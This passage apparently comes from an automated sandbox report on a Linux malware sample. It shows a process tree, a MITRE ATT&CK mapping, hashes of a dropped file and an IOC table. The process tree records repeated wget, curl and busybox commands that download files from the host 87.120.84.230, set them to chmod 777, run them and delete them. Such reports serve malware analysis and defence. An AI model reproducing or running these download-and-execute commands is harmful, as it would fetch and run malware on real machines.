  ./kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:960
- /usr/bin/wget
  wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:963
- /bin/chmod
  chmod 777 CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  ./CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:966
- /usr/bin/wget
  wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:967
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:969
- /bin/chmod
  chmod 777 EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  ./EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:972
- /usr/bin/wget
  wget http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:975
- /bin/chmod
  chmod 777 TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  ./TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - Executes dropped EXE
  PID:977
- /bin/rm
  rm TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:978
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:979
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:980
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:981
- /bin/chmod
  chmod 777 ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  ./ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR

Path /tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	743	EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
/tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq	749	TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
/tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7	755	ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	770	ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	797	5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	818	XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	824	AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	837	kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	864	CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	875	HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	881	UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	887	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	893	XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	899	NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	905	5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	911	XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	917	ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	923	HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	929	UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	935	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	941	XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	947	NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	953	AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	959	kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	965	CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	971	EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
/tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq	977	TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
/tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7	983	ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7